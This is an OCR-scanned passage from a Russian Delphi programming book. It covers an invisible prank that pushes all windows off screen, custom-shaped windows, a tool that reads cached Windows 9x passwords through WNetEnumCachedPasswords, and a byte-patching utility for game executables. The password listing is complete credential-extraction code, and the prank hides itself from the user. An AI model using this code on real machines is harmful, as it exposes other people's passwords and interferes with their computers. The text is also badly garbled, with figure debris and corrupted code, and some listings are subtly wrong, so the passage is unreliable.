3.7. Переключающиеся экраны Помнится, когда появилась первая версия программы Dashboard (она была еще под Windows 3.1), меня сильно заинтересовала возможность переключения экранов. Немного позже я узнал, что эта возможность была "слизана" с Linux. Я некоторое время помучился, и написал собственную маленькую утилиту для переключения экранов под Windows 9x. Сейчас мы воспользуемся подобным приемом для написания небольшой программы-прикола. Как работает переключение экранов? Сразу открою вам секрет, никакого переключения реально не происходит. Просто все видимые окна убираются с рабочего стола за его пределы так, чтобы вы их не видели. После этого перед пользователем остается чистый рабочий стол. Когда нужно вернуться к старому экрану, то все возвращается обратно. Как видите и здесь — все гениальное просто. При переключении окна перемещаются мгновенно за пределы видимости. Мы же для пущего эффекта будем перемещать все плавно, чтобы было видно, как все окна двигаются за левый край. Таким образом будет создаваться эффект, будто окна убегают от нашего взора. Программа будет невидима, поэтому закрыть ее можно только снятием задачи. Самое интересное — наблюдать за процессом, потому что если вы не успеете снять задачу за 10 секунд, то окно диспетчера задач тоже убежит и придется открывать его заново. Не буду больше болтать, а перейду к делу. Для того чтобы лже-переключения происходили быстро, в Windows есть несколько специальных функций, которые мы здесь и рассмотрим. Создай новый проект. Наше приложение не будет иметь форм, поэтому нужно все лишнее удалить. Выберите в меню View пункт Project Manager и здесь удалите модуль u n i t i (рис. 3.7). Теперь щелкните правой кнопкой на имени проекта (по умолчанию это Projectl.exe) и выберите в появившемся меню пункт View Source.

Глава New Remove ProjectGroupl 1^1 Pioject1.exe Palh D\ r ga Files\BoHar"ADelphi6\P[ ejects :Po i m D\ r ga Fjles\Bo(land\Delphi6\Projects :Po i m D\ r ga Files\Bofland\Delphi6\Pio|ects :Po r m R m v O\ r ga Faes\Borland\DelpN6\Projects^friltl.pas? e oe :Po r m N o Рис. З.7. Менеджер проектов Из всего содержимого мы оставим только первую строку с именем программы и строку uses, куда допишем еще три модуля: windows, classes и forms. Все остальное удаляйте, а вместо пишите содержание листинга 3.10.

шшт var i, j:Integer;

h:THandle;

бегающие окна" WindowsList : TList;

//Здесь будет храниться список видимых окон WRct: TRect;

MWStruct: HDWP;

W :THandle;

begin WindowsList:=TList.Create;

//Создаем список видимых окон while (true) do begin //Запускаем цикл сдвига окон for i:=0 downto -Screen.Width do begin WindowsList.Clear;

//Очищаем список W:=GetWindow(GetDesktopWindow,GW_CHILD);

while W<>0 Do //Запускаем поиск всех видимых окон Система begin //Если окно видимо, то добавляем его в список if IsWindowVisible(W) then WindowsList.Add(Pointer(W));

W:=GetWindow(W,GW_HWNDNEXT);

//Ищем следующее окно MWStruct:=BeginDeforWindowPos(WindowsList.Count-1);

//Начинаем сдвиг if Pointer{MWStruct)<>nil then begin for j:=0 to WindowsList.Count-1 do //Запускаем цикл по всем окнам oegin GetWindowRect(THandle(WindowsList[j]),WRct);

MWStruct:=DeferWindowPos(MWStruct, THandle{WindowsList[j]), HWND_BOTTOM, WRct.Left+i, WRct.Top, WRct.Right-WRct.Left, WRct.Bottom-WRct.Top, SWP_NOACTIVATE or SWP_NOZORDER);

end;

EndDeferWindowPos{MWStruct);

//Конец сдвига end;

end;

//Делаем задержку в 10 с h:=CreateEvent(nil, true, false, ' ' ) ;

WaitForSingleObject(h, 10000);

CloseHandle(h);

end;

WindoweList.Free;

//Уничтожаем список видимых окон end.

Первым делом инициализируется переменная WindowsList типа TList, которая описывает объект-список любых элементов. Мы будем заносить в этот список идентификаторы всех видимых окон. Далее запускается бесконечный цикл с помощью вызова while (true) do. Внутри цикла код делится на две маленькие части: сдвиг окна и задержка в 10 секунд. С задержкой мы уже сталкивались не один раз, и она вам уже должна быть знакома. Сдвиг окон происходит в цикле: for i ^ downto - Screen.Width do : Глава Здесь запускается цикл, где переменная i изменяется от о до отрицательного значения ширины экрана. Это означает, что все окна сдвигаются влево. В этой строке очень интересным является ключевое слово down to. Обычно всегда используют просто to, при котором значение переменной увеличивается. Если указано downto, переменная i наоборот будет уменьшается. Внутри цикла первым делом очищается список видимых окон windowsList и заполняется новыми значениями. Это необходимо, потому что состояние видимых окон с момента последнего выполнения цикла могло измениться. Мы же делаем задержку после каждого сдвига в 10 секунд, чего более чем достаточно на запуск простых программ. Для поиска видимых окон используется функция Getwindow, которая может искать все окна, включая главные и подчиненные. Указатель найденного окна сохраняется в переменной w. Видимость окна можно проверить с помощью вызова функции iswindowVisibie, передав в качестве параметра указатель на него. Если функция возвращает true, значит, то окно видимо, и его можно будет двигать. Если нет, то окно или невидимо, или свернуто, а такие окна двигать бесполезно. Теперь о самом сдвиге. Он начинается с вызова API-функции BeginDeferWindowPos. Эта функция выделяет память для нового окна рабочего стола, куда мы и будем сдвигать все видимые окна. В качестве параметра нужно указать, сколько окон мы будем двигать. Если предыдущие шаги выполнены успешно, то начинается перебор всех окон из подготовленного списка и их сдвиг. Для сдвига окна в подготовленную область памяти используется функция DeferwindowPos. В данный момент не происходит никаких реальных перемещений окон, а изменяется только информация о позиции и размерах. После перемещения всех окон вызывается API-функция EndDeferWindowPos. Вот тут окна реально перескакивают в новое место. Это происходит практически моментально. Если бы вы использовали простую API-функцию setwindowPos для установки позиции каждого окна в отдельности, то прорисовка происходила бы намного медленнее. Я всегда вам говорил, что все переменные типа объектов должны инициализироваться и уничтожаться. Во время инициализации выделяется память, а во время уничтожения память освобождается. В моем примере я создал переменную windowsList типа TList, но нигде не уничтожаю. Почему? Ведь T i i s t — это объект, и я расходую понапрасну память. Все очень просто — программа выполняется бесконечно, и ее работа может прерваться только по двум причинам. 1. Выключили компьютер. В этом случае, даже если я буду освобождать память, то она никому не понадобится, потому что компьютер выключат ;

). 2. Кто-то умный закончил процесс. То есть программа закончит выполнение аварийно, и память все равно не освободится.

Система _ Получается, что освобождать объект бесполезно, поэтому я этого не делаю. Но все же я не советую вам пренебрегать такими вещами и в других случаях всегда выполнять уничтожение объектов. Лишняя строчка кода никому не помешает, даже если вы думаете, что она никогда не будет выполнена. Я много раз использовал задержку на некоторое время, сконструированную с помощью событий, но до сих пор еще не объяснил, как это работает. Пора бы разобраться в этом темном деле. Код задержки состоит из трех незамысловатых функций: П h:=CreateEvent(nil, true, false, ' ' ) — создается пустое событие;

• waitForSingieObject (h, 10000) — ожидание, пока не наступит событие. Так как событие пустое, ожидание будет идти столько времени, сколько указано во втором параметре;

• cioseHandie(h) — событие уничтожается. Вот таким небольшим трюком мы делаем паузу в выполнении программы. Есть еще одна функция для осуществления задержки — sleep. Она проще в использовании, но загружает систему, поэтому я ее не использую. Мне самому так понравился пример, что я целых полчаса играл с окнами. Они так интересно исчезают, что я не мог оторваться от этого глупого занятия. Но больше всего мне понравилось тренировать себя в скорости снятия приложения. Для этого я уменьшил задержку до 5 секунд. Напоследок хочу предупредить, что программа невидима в Win9x. В Win2000/XP ее можно увидеть в диспетчере задач на вкладке Процессы. Таким вот способом реализовано большинство программ-переключающих экраны. На компакт-диске в директории \Примеры\Глава 3\Переключающиеся экраны вы можете увидеть пример этой программы. В директории 5оигсе\Переключающиеся экраны я положил исходный код простой программы, которая умеет переключать экраны описанным выше способом. С ее помощью вы сможете написать любую собственную утилиту для переключения экранов.

3.8. Безбашенные окна Еще в 1995 году почти все окна были прямоугольными, и всех это устраивало. Но несколько лет назад начался самый настоящий бум на создание окон неправильной формы. Любой хороший программист считает своим долгом сделать свое окно непрямоугольной формы, чтобы его программа явно выделялась среди всех конкурентов.

gg Глава Для начала я покажу, как создавать круглые окна и окна с дырками. Создайте новый проект и в обработчике события Oncreate напишите следующий код:

procedure TFontil. FormCreate (Sender: TObject) ;

var FormRgn:HRGN;

begin FormRgn:-CreateEllipticRgn(0,0,Width,Height);

SetWindowRgn(Handle,ForraRgn, True) ;

end;

Рис. З.8. Окно овальной формы Запустите приложение, и вы увидите овальное окно (рис. 3.8). Как это получилось? Очень просто. В обработчике oncreate использованы две WinAPI-функции: CreateEllipticRgn и SetWindowRgn. Рассмотрим обе эти функции более подробно: CreateEllipticRgn( NLeftRect:Integer, //Левая позиция nTopRect:Integer, //Верхняя nRightRect:Integer, //Правая nBottoraRect: Integer //Нижняя ): HRGN;

Данная функция создает область в виде эллипса. В качестве параметров передаются размеры эллипса. SetWindowRgn( HWnd: HWND, //Указатель на нашу форму HRgn: HRGN, //Предварительно созданная область BRedraw:Boolean //Флаг перерисовки окна ):Integer;

Эта функция назначает указанному в качестве первого параметра окну созданную область, которая указывается во втором параметре. Если последний параметр равен true, то окно после назначения новой области будет перерисовано, иначе это придется сделать отдельно.

Система На компакт-диске в директории \Примеры\Глава 3\Ellipse Window вы можете увидеть пример этой программы. Теперь немного усложним задачу и попробуем создать элемент управления неправильной формы. С помощью описанных функций можно создавать не только окна, но и элементы управления любой формы. В Windows все кнопки, панели и другие элементы тоже воспринимаются как окна. Поэтому мы можем изменить форму чего угодно, лишь бы у этого компонента было свойство Handle, а оно есть у всех объектов, имеющих в прародителях объект TWinControl. Компоненты с закладки Standard подходят под это описание, поэтому давайте создадим овальное текстовое поле тмето. Для начала нужно добавить на форму один компонент тмето. Теперь модернизируем написанный выше код до следующего: procedure TForml.FormCreate(Sender: TObject);

var FormRgn:HRGN;

begin FormRgn:=CreateEllipticRgn(2,2,Memol.Width,Meraol.Height);

SetWindowRgn(Memol.Handle,FormRgn,True);

end;

В модернизированном коде при создании области мы отталкиваемся от размеров КОМПОНеНТа Memol. ПрИ назначении области указано С О С В Handle В ЙТО компонента Memol. Запустите программу и посмотрите на результат. Мое окно вы можете увидеть на рис. 3.9.

Т Fgrni!

в 1995-м году почти все ок, >ли прямоугольными, и всех этс.страивало, Но несколько пет назад начался самый настоящий бум иа создание окон неправильной Формы Любой хороший •юграммист считает своим долгов ч)ать свое окно неправильной 1 чтобы его программ?

Рис. 3.9. Овальный компонент Memol На компакт-диске в директории \Примеры\Глава 3\Ellipse Memo вы можете увидеть пример этой программы.

Глава Продолжим усложнять пример и создадим овальное окно с прямоугольной дыркой внутри. Для этого модернизируем код следующим образом:

procedure TForml.FormCreate(Sender: TObject);

var FormRgn,EllipseRgn:HRGN;

begin EllipseRgn:=CreateEllipticRgn(O,0,Width,Height);

FormRgn:=CreateRectRgn(round(Width/4), round(Height/4), round(3*Width/4),round(3*Height/4) ) ;

CombineRgn(EllipseRgn,EllipseRgn,FormRgn,RGN_DIFF);

SetWindowRgn(Handle,EllipseRgn, True) ;

end;

В первой строке создается уже знакомая овальная область. Результат сохраняется в переменной EllipseRgn. После этого создается квадратная область с помощью WiiiAPI-функции createRectRgn. У этой функции также четыре параметра, указывающие размеры прямоугольника. Этот результат сохраняется в переменной FormRgn. После создания двух областей они комбинируются с помощью функции combineRgn. У этой функции четыре параметра: П Переменная области, в которую будет записан результат. Здесь указана область эллипса, хотя можно выделить под это дело и отдельную переменную типа HRGN. • Первая область, которую нужно скомбинировать. П Вторая область, которую нужно скомбинировать. • Режим слияния. Здесь можно указать один из следующих вариантов: • RGN_ AN — область перекрывания;

• RGN_COPY — копия первой области;

• RGN_DIFF — удаление второй области из первой;

• RGM_OR — объединение областей;

• RGNXOR — объединение областей, исключая все пересечения. Для примера использован режим RGN_DIFF, который удаляет прямоугольную область из овальной. Результат сохраняется в переменной EllipseRgn, которая потом назначается форме. На рис. 3.10 показано мое результирующее окно. На компакт-диске в директории \Примеры\Глава 3\Eilipse Window2 вы можете увидеть пример этой программы.

Система Рис. 3. 1 0. Овальное окно с квадратной дыркой внутри Теперь еще больше усложним задачу и попытаемся создать окно абсолютно неправильной формы, используя дли этого картинку. Создайте новый проект. Поместите на форму один компонент Timage. В него вы должны загрузить какую-нибудь растровую картинку (например, в формате bmp), которая будет использоваться в качестве фона окна, и по ней мы будем вырезать форму. На рис. З.П вы можете видеть мое окно с рисунком в виде кадра из фильма "Матрица". А программа будет создавать окно, которое будет иметь форму девушки с ноутбуком. Весь белый фон удален (цвет фона будет определяться по цвету левой верхней точки изображения).

Рис. 3. 1 1. Форма будущей программы Сделайте картинку Timage невидимой (свойство visible нужно установить равным false). Она нужна нам на форме только для хранения картинки, а сам компонент не должен быть виден после запуска. Конечно же, можно было загрузить картинку, не используя компонентов, но это просто пример, а как вы будете его использовать в будущем — это уже ваше дело. Теперь создадим обработчик события FormCreate и впишем в него следующий код: procedure T F r !. FormCreate (Sender: TObject) ;

om.

102 WindowRgn: HRGN;

begin BorderStyle : bsNone;

= Clier.tWidth := Imagel. Picture.Bitmap.Width;

ClientHeight : Imagel.Picture.Bitmap.Height;

= windowRgn : CreateRgnFromBitmap(Imagel.Picture.Bitmap);

~ SetWindowRgn(Handle, WindowRgn, True);

end;

Глава В первой строчке стиль окна изменяется на bsNone, чтобы окно не имело никаких рамок и заголовков. В следующих двух строчках размеры клиентской области окна устанавливаются равными размерам изображения. Последние две строчки являются самыми сложными в программе. Здесь сначала ВЫЗЫВаеТСЯ функция CreateRgnFromBitmap (эту фуНКЦИЮ еще ПреДстоит написать). Она будет создавать нестандартную область, и потом сохранит ее в переменной windowRgn. В последней строке вызывается APIфункция SetWindowRgn, которая связывает созданную область с окном приложения. Теперь немного о функции CreateRgnFromBitmap. Я постарался макс и мал ьно упростить ее код, чтобы вы смогли сами во всем разобраться, и даже пожертвовал ради этого производительностью. Но при этом программа не лишена функциональности и прекрасно будет работать с любой bnipкартинкой (листинг 3.11). Главное запомнить, что цвет точки левого верхнего угла будет использоваться в качестве прозрачного. Листинг 3.11. Функция создания области по картинке function CreateRgnFromBitmap(rgnBitmap: TBitmap): HRGN;

var TransColor: TColor;

i, j: Integer;

i width, i^height: Integer;

i_left, i right: Integer;

rectRgn;

HRGN;

begin Result := 0;

//Запоминаем размеры окна i_width := rgnBitmap.Width;

i_height : = rgnBitmap.Height;

• //Определяем прозрачный цвет Система 1_03_ transColor : rgnBitmap.Canvas.Pixels[0, 0];

= //Запускаем цикл перебора строк картинки //для определения области окна без фона for i := 0 to i_height - 1 do begin i_left := -1;

//Запускаем цикл перебора столбцов картинки for j := 0 to i_width - 1 do = begin if i_left < 0 then begin if rgnBitmap.Canvas.Pixels[j, i] <> transColor then i_left : * j;

= end else if rgnBitmap.Canvas.Pixels[j, i] = transColor then begin i_right := j;

rectRgn := CreateRectRgn(i_left, i, i_right, i + 1) ;

if Result = 0 then Result : rectRgn = else begin CombineRgn(Result, Result, rectRgn, RGN_OR);

DeleteObject(rectRgn);

end;

i _ e t :

-1;

_lf = end;

end;

if i_left >= 0 then begin rectRgn := CreateRectRgn(i_left, i, i_width, i + 1);

if Result = 0 then Result := rectRgn else begin CombineRgn(Result, Result, rectRgn, RGN_OR);

DeleteObject(rectRgn);

end;

end;

end ;

end;

Глава Все это нужно написать раньше кода обработчика события FormCreate. Эта функция не относится к объекту основного окна и абсолютно самостоятельна, поэтому она должна быть описана раньше, чем будет использоваться. В противном случае компилятор выдаст ошибку, потому что не сможет найти ее описание. Если вы сделали все. что написано выше, вы сможете запустить программу и наслаждаться результатом. Но у нее есть один недостаток — окно не имеет строки заголовка и состоит только из одной клиентской части, а значит, его нельзя перемещать по экрану. Но эта проблема решается очень просто. Для начала в разделе private объявления формы укажем три переменные: private { Private declarations } Dragging : Boolean;

OldLeft, OldTop: Integer;

Переменная Dragging будет отвечать за возможность перетаскивания. В переменных OldLeft и OldTop будут сохраняться первоначальные координаты окна. На всякий случай в обработчике события oncreate можно принудительно записать в переменную Dragging значение false, чтобы случайно при старте в нее не попало true и непроизвольное перетаскивание. Теперь создадим обработчик события onMowseDown для главной формы и впишем в него следующее: procedure TForml.FormMouseDown(Sender: TObject;

Button: TMouseButton;

Shift: TShiftState;

X, Y: Integer);

begin if button=mbLeft then begin Dragging : True;

= OldLeft := X;

OldTop :- Y;

end;

end;

Система Здесь происходит проверка: если щелкнули левой кнопкой, то нужно присвоить переменной Dragging значение true и запомнить координаты, в которых произошел щелчок. Теперь создайте обработчик события onMowseMove и напишите в нем следующее: procedure TForrnl. FomMouseMove (Sender: TObject;

Shift: TShiftState;

X, Y: Integer) ;

begin if Dragging then begin Left : Left+X-OldLeft;

= Top : Top+Y-OldTop;

= end;

end;

Здесь мы проверяем: если переменная Dragging равна true, то пользователь тащит окно, и нужно изменять его координаты. В обработчике события onMouseup нужно написать только одну строчку:

Dragging := False.

Раз кнопка отпущена, то мы должны изменить переменную Dragging на false и закончить перетаскивание.

9 Unili j.' ' TransColor: TColor;

i, ;

: Integer;

) i width, i height: Integer;

i_left, т-МШ^'- Integer;

.;

-Tn,. JPv ' ;

•. •' I •* rectRgn: ЩШЩ lap.Uiuth;

|цар. Height;

МЯЛ. Canvas. Pixels [0, 0] ;

f r S^^^K h ]^Ho 1d o i left := - 1 ;

for j := 0 to i width - 1 do begin if ileft < 0 then begin HI Рис. 3. 1 2. Приложение с окном нестандартной формы Посмотрите на рис. 3.12 и вы увидите окно моей программы. Я специально расположил окно поверх редактора с кодом программы, чтобы вы могли Глава видеть его нестандартный вид. Никакой квадратности, никаких оборочек, окно имеет вид Троицы из фильма "Матрица" за ноутбуком.

Н 1 G 22 ня: 30.11. Рис. 3.13. Компонент поверх окна Обратите внимание на рис. 3.13. Здесь я поместил компонент календаря на форму (рисунок слева). Справа показано окно работающей программы, и видно, что календарь также обрезался вместе с окном. Учитывайте это, если будете размещать что-то в таком окне. На компакт-диске в директории \Примеры\Глава 3\Cool Window вы можете увидеть пример этой программы.

3.9. Вытаскиваем из системы пароли В Windows 9x существует очень большая дырка, с помощью которой можно без труда узнать системные пароли. Мало того, что они сохранялись в файле со слабым шифрованием, так они еще и загружались в кэш и хранились там на протяжении всей работы ОС. При этом в Windows API встроены функции, с помощью которых можно работать с кэшированными паролями. В результате Windows обладала самыми слабыми возможностями по охране безопасности информации. В системах NT/2000/XP эта ошибка испраштена, и в них невозможно так просто добраться до пароля пользователя. Однако по данным многих исследовательских фирм, Windows 98 до сих пор доминирующая ОС на компьютерах пользователей. Это связано с тем, что накопился большой парк компьютеров, на которых современные версии Windows будут работать очень медленно, и не каждый может позволить себе установить 2000/ХР. Итак, сейчас вы узнаете эти функции, с помощью которых можно подсмотреть все пароли. На рис. 3.14 вы можете увидеть форму будущей программы. На ней расположен только один компонент ListBox, которвш я растянул по всей форме.

Система Рис 3. 1 4. Форма будущей программы Листинг 3.12. Программа вытягивания паролей unit Unitl;

interface Windows, SyslJtils, Classes, Forms, Shell API, Controls, StdCtrls;

type TForml = class(TForra) ListBox: TListBox;

procedure FormShow(Sender: TObject);

private { Private declarations ) public hMPR: THandle;

end ;

var F o m l : TForml;

const Count: Integer = 0;

function WNetEnumCachedPasswords dp: lpStr;

w: Word;

b: Byte;

PC: PChar;

dw: DWord): Word;

stdcall;

impleTnentation Глава f R +.DFM} $ function WNetEnumCachedPasswordsdp: lpStr;

w: Word;

b: Byte;

PC: PChar;

dw: DWord): Word;

external mpr name 'WNetEnumCachedPasswords';

type PWinPassword = "TWinPassword;

TWinPassword = record EntrySize: Word;

ResourceSize: Word;

PasswordSize: Word;

Entrylndex: Byte;

EntryType: Byte;

PasswordC: Char;

end;

function AddPassword(WinPassword: PWinPassword;

dw: DWord): LongBool;

stdcall;

var Password: String;

PC: ArrayfO..$FF] of Char;

begin inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize) ;

PCfWinPassword.ResourceSize] : #0;

= CharToOem(PC, PC);

Password : StrPas(PC);

= Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);

Move(PCfWinPassword.ResourceSize], PC, WinPassword.PasswordSize);

PC[WinPassword.PasswordSize] : #0;

= CharToOemfPC, PC);

Password : Password + ': ' + StrPas(PC);

= Forml.ListBox.Items.Add(Password);

Result := True;

end;

Система procedure TForml.FormShow(Sender: TObject);

begin if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then begin Application.MessageBox('А не могу я прочитать пароли.', 'Error', mb0k or mb_IconWarning) ;

Application.Terminate;

end else if Count = 0 then List3ox.Items.Add('Пароля нету');

end;

end.

В обработчике события создания формы oncreate вызывается недокументированная ФУНКЦИЯ WKetEnumCachedPasswords, Эта фунКЦИЯ ИЩеТ Пароли в кэше и возвращает их в процедуру, указанную в качестве четвертого параметра. Теперь посмотрим, как объявлена эта функция. Объявление состоит из двух строк. В первой просто описано, что она представляет собой: function WNetEnumCachedPasswords( lp: lpStr;

w: Word;

b: Byte;

PC: PChar;

dw: Dword ): Word;

stdcall;

Второе объявление этой функции я рассмотрю подробнее, потому что оно более полное:

function WnetEnumCachedPasswords //Имя функции (lp: lpStr;

//Должен быть NIL w: Word;

//Должен быть 0 b: Byte;

//Должен быть SFF PC: PChar;

//Адрес функции, в которую вернутся пароли dw: DWord): Word;

//Опять 0 external mpr //Имя DLL-файла в котором находится эта функция name 'WNetEnumCachedPasswords1;

//Имя функции в DLL-файле.

Глава Теперь вы и сами разберетесь с первой строкой описания. Функция, в которую возвратятся пароли, должна выглядеть как:

function AddPasswordZ/Имя функции, может быть любым. ( WinPassword: PWinPassword;

//Указатель на структуру WinPassword dw: Dword //Мы не будем использовать }: LongBool;

stdcall;

Теперь нужно знать, что такое WinPassword. Эта нестандартная структура, и ее объявления вы нигде не найдете, поэтому вы должны объявить ее сами в разделе type:

type PWinPassword = ''TWinPassword;

TWinPassword = record EntrySize: Word;

ResourceSize: Word;

PasswordSize: Word;

EntryIndex: Byte;

EntryType: Byte;

PasswordC: Char;

end;

В Passwordc будет находиться строка, содержащая имя пользователя и пароль. ResourceSize — размер имени пользователя, a PasswordSize — размер пароля. Единственное, что еще надо сказать, так это то, что пароль хранится в DOSкодировке. Поэтому чтобы его увидеть, надо перевести его в Windowsкодировку. Для этого использована функция charToOem. Первый параметр — то, что надо перекодировать, а второй — результат перекодировки. На компакт-диске в директории \Примеры\Глава 3\Password вы можете увидеть пример этой программы.

3.10. Изменение файлов Любители игр очень часто встречаются с проблемой улучшения характеристик своего героя. В такие моменты мы идем на какой-нибудь игровой сайт и информацию, как сделать себя в игре бессмертным или дать себе оружие с бесконечным ресурсом. Большинство сайтов просто переполнены подобной информацией, и как бывает хорошо, когда ее легко использовать. Но такое бывает редко. Обычно нам предлагают шестнадцатеричные коды, которые нужно изменить в исполняемом файле или файле с записью. Для того чтобы сделать такое изменение, нужно загрузить шестнадцатеричный Система редактор и изменять все вручную, что не очень удобно. Хорошо, если изменение нужно произвести только однажды, но когда это приходится делать по нескольку раз на дню, то такие улучшения начинают надоедать. В данном случае программисты находятся в более выгодном положение потому что написать программу, которая будет делать все автоматически, очень просто. В этом разделе я покажу, как написать подобную программу. Допустим, что нам достался следующий информационный файл:

- подпатчить XXXXX.EXE: 0АС0Е9 - 74 ЕВ OAC0FE - 74 ЕВ Как использовать эти спецефические данные? На первый взгляд эта запись непонятна, особенно если вы никогда не подправляли программы. Если вы поняли эту надпись, то пропустите пару абзацев и продолжайте читать дальше. Если нет, то давайте разберемся с этим более подробно. Для начала определимся, что такое патч. В данном случае патч — это информация, какие байты нужно подправить в программе так, чтобы она работала по-другому (например, открыла вам секретные возможности). Кто-то до вас уже выяснил, где и что нужно подправить, а вам осталось только сделать это у себя на компьютере. Для правки вам понадобится любой редактор, позволяющий работать с файлами в шестнадцатеричном виде. Я по привычке люблю использовать встроенный в DOS Navigator редактор из-за его простоты. Если вам нужно что-то более продвинутое, то ваш выбор — специализированные программы.

Е >Фа^я D\ I N \ yt m 2УТИЛИТЫ :W T5Диск3 \ m. K N se c de e Панель Рис. 3. 1 5. Шестнадцатеричный редактор в DOS Navigator Глава Сейчас я рассмотрю процесс использования патча на примере одной игровой программы. Я не буду говорить ее название, потому что это не имеет значения. Главное — это процесс. Если вы сможете понять все, что я расскажу, то сможете подправлять любые программы и игры. Итак, запускайте свой шестнадцатеричный редактор и открывайте файл, который надо подправить. В DOS Navigator для этого нужно перейти на файл и нажать . После этого нажимаете и видите данные в шестнадцатеричном виде. Файл к операции готов. Теперь взглянем на сам патч:

0АС0Е9 - 74 ЕВ 0AC0FE - 74 ЕВ Эту запись можно разбить на три колонки: 1. адрес, по которому надо исправить байт (ОАСОЕЭ);

2. байт, который там сейчас находится (74);

3. байт, который должен там быть (ЕВ), чтобы активировать возможность. Процесс ясен? Просто переходите по нужному адресу и исправляете байт на указанный в файле патча. Например, в данном случае нажимаем в DOS Navigator кнопку и вводим адрес ОАСОЕЭ. Так вы мгновенно окажетесь там, где надо. Перед внесением исправлений проверяйте, чтобы там действительно был нужный байт (в примере это 74, который нужно поменять на ЕВ). ЕСЛИ ВЫ увидите другое число, значит, вы нашли не тот адрес или используете патч не для той версии программы. В этом случае лучше ничего не делать, потому что можно испортить работающую программу. А вообще в любом случае лучше сначала скопировать редактируемый файл в отдельную директорию, чтобы в случае неудачи можно было вернуться в исходное состояние. В рассмотренном патче две строки, два адреса и два байта, которые нужно исправить. Сколько строк, столько байтов нужно подправить. То, что вы смогли подправить свою программу вручную — это хорошо. Теперь вы можете сохранить где-нибудь исправленный исполняемый файл, и в случае переустановки программы или всей Windows сможете сразу использовать модифицированную версию. Но что если вы подправляете не просто программу, а игру? После каждого сохранения редактировать байты в шестнадцатеричном редакторе достаточно нудно и неинтересно. Вот теперь мы переходим к самому интересному. Сейчас я постараюсь подробно объяснить, как наиболее простым способом написать программу, которая сама будет производить редактирование. Потратив пять минут на создание собственного варианта, вы можете выиграть множество времени и нервов. Утилиту я буду писать на примере все того же патча, ну а вы уже сможете без проблем адаптировать ее под любые нужды.

Система Запустите Delphi. Можете перенести на форму любую картинку для создания приличного вида, но это уже на ваш вкус. Главное — это установить кнопку. Что вы напишете на ней, меня тоже не особо волнует. Мой вариант вы можете видеть на рис. 3.16.

Рис. 3.16. Форма будущей программы Теперь приступим к программированию. Дважды щелкните на созданной кнопке, и Delphi сгенерирует для нее обработчик события Onclick. В нем напишите следующее: |р1о|||щ|^||||правления файла игры procedure TForml.ButtonlClick(Sender: TObject);

var f:TFileStream;

s: byte;

begin //Открываем файл для чтения и записи f:=TFileStream.Create('xxx.exe', fmOpenReadWrite);

//Переходим на нужную позицию в файле f.Seek($0AC0E9, soFromBeginning);

//Читаем текущее значение f.Read(s, sizeof(s)) ;

//Если текущее значение равно $74, то исправляем 114 if s=$74 then begin //Возвращаемся обратно f.Seek($0ACOE9, soFromBeginning);

//Записываем новое значение, f.Write(s, sizeof(s));

end;

//Далее то же самое, для второй строчки f.Seek($0AC0FE, soFromBeginning};

f.Readfs, sizeof(s));

if s=$74 then begin s:=$EB;

f.Seek($0AC0FE, soFromBeginning) ;

f.Write(s, sizeof(s));

end;

//Закрываем файл f.Free;

end;

end.

Глава Первое, что сделано — объявлена переменная F объектного типа Tniestream. Такие объекты хорошо умеют работать с любыми файлами, читать из них информацию и записывать любые данные. В первой строке кода я инициализирую метод Create эту переменную (F:=TFileStream. Create), вызывая объекта TFileStream.

У него есть два параметра. 1. Имя открываемого файла или полный путь. 2. Способ доступа к данным. Указан fmOpenReadwrite, позволяющий одновременно и писать, и читать из файла. После инициализации переменная F содержит указатель на объект с открытым файлом. Теперь мне надо перейти на нужную позицию и прочитать оттуда значение. Для перехода на нужное место в файле я использую метод seek. У него тоже есть два параметра. П Число, указывающее на позицию, в которую надо перейти. Здесь вам нужно поставить адрес, указанный в патче.

Система П Точка отсчета. Указанный параметр soFromBeginning означает, что двигаться надо от начала. После выполнения F.seek мы переместились на нужную позицию в файле. Теперь нужно проверить, какое там записано значение. Для этого нужно прочитать один байт с помощью метода Read. У этого метода также два параметра. 1. Переменная, в которую будет записан результат чтения. 2. Количество байт, которые надо прочитать. После этого делается проверка прочитанного байта. Если все нормально, то можно записать вместо него новое значение. Но перед записью нужно снова установить указатель в файле на нужное место, потому что после чтения он сдвинулся на количество прочитанных байт. Поэтому снова вызываем метод seek. Для записи используем метод write, у которого опять же два параметра. 1. Переменная, содержимое которой нужно записать. Мы записываем содержимое переменной s, в которой уже находится нужное значение. 2. Число байт для записи. Все, первый байт мы исправили. Теперь повторяем ту же операцию для второй строки патча и исправляем второй байт. В этом примере я использовал объект TFiiestream. А почему я не захотел сделать проще и написать приложение на WinAPI? Прежде всего потому, что это не будет проще;

количество строк не уменьшится, и нет смысла мучиться. Во-вторых, использование объектов всегда удобнее. Почему? Сейчас объясню. Сначала для работы с файлами существовали функции: _fcreat, _fseek, fread И Т. Д. После ЭТОГО ПОЯВИЛИСЬ C r e a t e F i l e, SetFilePointer, writeFiLe. Теперь начинают использовать writeFiieEx и ей подобные. Всеми любимая фирма MS встраивает новые функции в API-функции Windows, а старые забрасывает, из-за чего появляются проблемы несовместимости. Это что, я теперь должен после каждого нововведения в Microsoft переделывать свои программы на использование новых функций? А если у меня их сотня? Нет!!! Уж лучше я один раз исправлю объект TFiiestream и потом просто перекомпилирую свои программы с учетом новых возможностей. Поэтому я вам тоже не советую обращаться к WinAPI напрямую, и везде, где только возможно, нужно стараться использовать объекты и компоненты Delphi. Если вы смогли усвоить все, что я вам сказал, то сможете без проблем писать свои собственные программы для патчей. Только не забывайте, что я вам рассказал это только в познавательных целях. Вы можете без проблем использовать эти знания для исправления игр, потому что за это никто Глава преследовать не будет. Ну есть у вас бесконечная жизнь — вам же менее интересно играть. Однако если вы захотите подправить какую-нибудь программу с ограниченным сроком работы, то я должен вас предупредить: измение программы, нарушающее пользовательское соглашение — это взлом, который может караться законом. Совсем недавно ребята из великобританской полиции посадили шестерых человек за взломы программ. Россия, конечно же, не Великобритания, но и не Африка. Наша страна тоже цивилизованная, хотя и бедная. Так что посадить имеют право (если захотят). Конечно, чем вы занимаетесь на личном компьютере, никому не интересно, но это совсем другой вопрос. В любой момент все может измениться, поэтому лучше не искать себе лишних приключений. На компакт-диске в директории \Примеры\Глава 3\Patch вы можете увидеть пример программы и цветные рисунки из этого раздела.

3.11. Работа с файлами и директориями В реальных программах иногда необходимо копировать, перемещать и удалять файлы. В Delphi для этих целей служат очень простые функции.

